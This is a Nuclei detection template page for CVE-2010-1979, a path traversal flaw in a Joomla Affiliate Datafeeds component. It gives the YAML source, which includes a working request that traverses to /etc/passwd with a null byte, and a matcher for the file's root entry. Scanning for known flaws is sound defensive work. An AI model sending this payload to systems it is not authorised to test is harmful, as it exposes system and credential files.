Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion

ID: CVE-2010-1979

Severity: medium

Author: daffainfo

Tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds

Description

A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://www.exploit-db.com/exploits/12088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.81565
    cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: affiliatefeeds
    product: com_datafeeds
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c23c50f485fa554d519fb0aa58a164c431d3ffc213e5592db9660b6d4d6dd370220391f61bdd5e1babe13c49745ca3503b1804980a1d22f775ded3022d7ccf454f8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1979.yaml"

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